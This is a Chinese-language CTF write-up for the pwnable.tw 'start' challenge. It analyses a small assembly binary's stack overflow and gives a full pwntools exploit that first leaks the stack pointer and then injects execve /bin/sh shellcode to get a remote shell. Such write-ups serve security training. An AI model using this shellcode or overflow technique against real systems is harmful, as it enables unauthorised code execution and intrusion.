pwntw start writeup 棧溢位利用自身程式碼
這題利用了棧溢位,將返回地址覆蓋為程式本身地址,造成記憶體洩露。
有個坑是如果你用gdb peda自帶的checksec檢查防護措施會發現NX是開啟的,那麼堆疊處的程式碼無法執行,就無法構造棧裡的shellcode,file下
發現程式是靜態連結的,那就無法利用ret2libc。想了半天也不知道怎麼做。就用ubuntu自帶的checksec檢查下發現
根本沒有開啟NX,可能是gdb的除錯環境會影響判斷吧。
拿到題目先執行觀察下,
先顯示了一串字串,然後讓你輸入字串就結束了。
放到IDA裡看一下:
public _start _start proc near push esp push offset _exit //這裡的退出函式是作者自己寫的。 xor eax, eax xor ebx, ebx xor ecx, ecx xor edx, edx push 3A465443h push 20656874h push 20747261h push 74732073h push 2774654Ch mov ecx, esp ; addr mov dl, 14h ; len mov bl, 1 ; fd mov al, 4 int 80h ; LINUX - sys_write xor ebx, ebx mov dl, 3Ch mov al, 3 int 80h ; LINUX - add esp, 14h retn _start endp ; sp-analysis failed
程式本身是用匯編寫的,f5的程式碼可讀性很低,那就直接讀彙編。程式開始處 先push了 ESP,將ESP的值壓棧,然後又push了exit函式的地址,再連續push 5個數,此時堆疊情況如下。
黃色的區域即是連續push的5個數。
mov ecx, esp ; addr
mov dl, 14h ; len
mov bl, 1 ; fd
mov al, 4
int 80h ; LINUX - sys_write
這段程式碼進行了linux的系統呼叫,linux的系統呼叫都是通過int 0x80來完成的,在int 0x80之前先將引數傳進對應暫存器,以及呼叫的函式的編號傳進來。
這裡的write函式就是將上面的push進堆疊的5個數字以字串形式打印出來,即 Let’s start the CTF: 這段字串。
然後是:
xor ebx, ebx
mov dl, 3Ch
mov al, 3
int 80h ; LINUX -
這裡IDA沒有顯示是哪個函式,百度了下,得知編號3是read函式。
前面的 xor ebx,ebx
將ebx的值清0,應該是fd,即是標準輸入,從終端輸入。
用gdb除錯下,看看從終端讀取的字串佔據的是哪裡:
在第一個write函式呼叫完成後下一個斷點(從ida可以獲知):
字串的開始是 0xffffd204。
下面一直執行到read函式,輸入字串。
發現輸入的字串也是從 0xffffd204開始的,那就說明read函式從ESP指向的記憶體開始存字串的。
然後是:
add esp, 14h
retn
將esp值加上0x14,此時ESP指向
再ret就執行exit函式,整個程式執行完畢,ret後ESP指向起始ESP。
程式的流程分析完畢,想要執行shellcode就必須知道每次程式執行時的ESP的值。
在程式執行的第一步就是將ESP壓棧,如果將這個壓棧的ESP值給洩露出來就可以寫出通解。
再看這裡
mov ecx, esp ; addr
將ESP的值給ecx,write函式就是將ecx指向的字串打印出來。
而執行完read函式後,ESP恰好指向 起始的ESP,如果將 add of exit 地址覆蓋為 mov ecx, esp ; addr
的地址就可以洩露出 起始ESP的值了,接下來編寫exp
from pwn import *
a=remote('chall.pwnable.tw',10000)
a.recvuntil("Let's start the CTF:")
shellcode="\x31\xc9\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc0\xb0\x0b\xcd\x80"
payload1='A'*20+p32(0x08048087) # return to func of wrire
a.send(payload1)
esp=u32(a.recv(4))
payload2='A'*20+p32(esp+20)+shellcode #注意最後ESP加上了20後再ret
#,所以這裡洩露的ESP也要加20,前面還要有20個垃圾資料填充堆疊,才能將
#shellcode的地址填入正確的位置
a.send(payload2)
a.interactive()
這裡的shellcode是網上隨便複製的。pwntools自帶的生成shellcode太長了。
執行指令碼即可得到shell。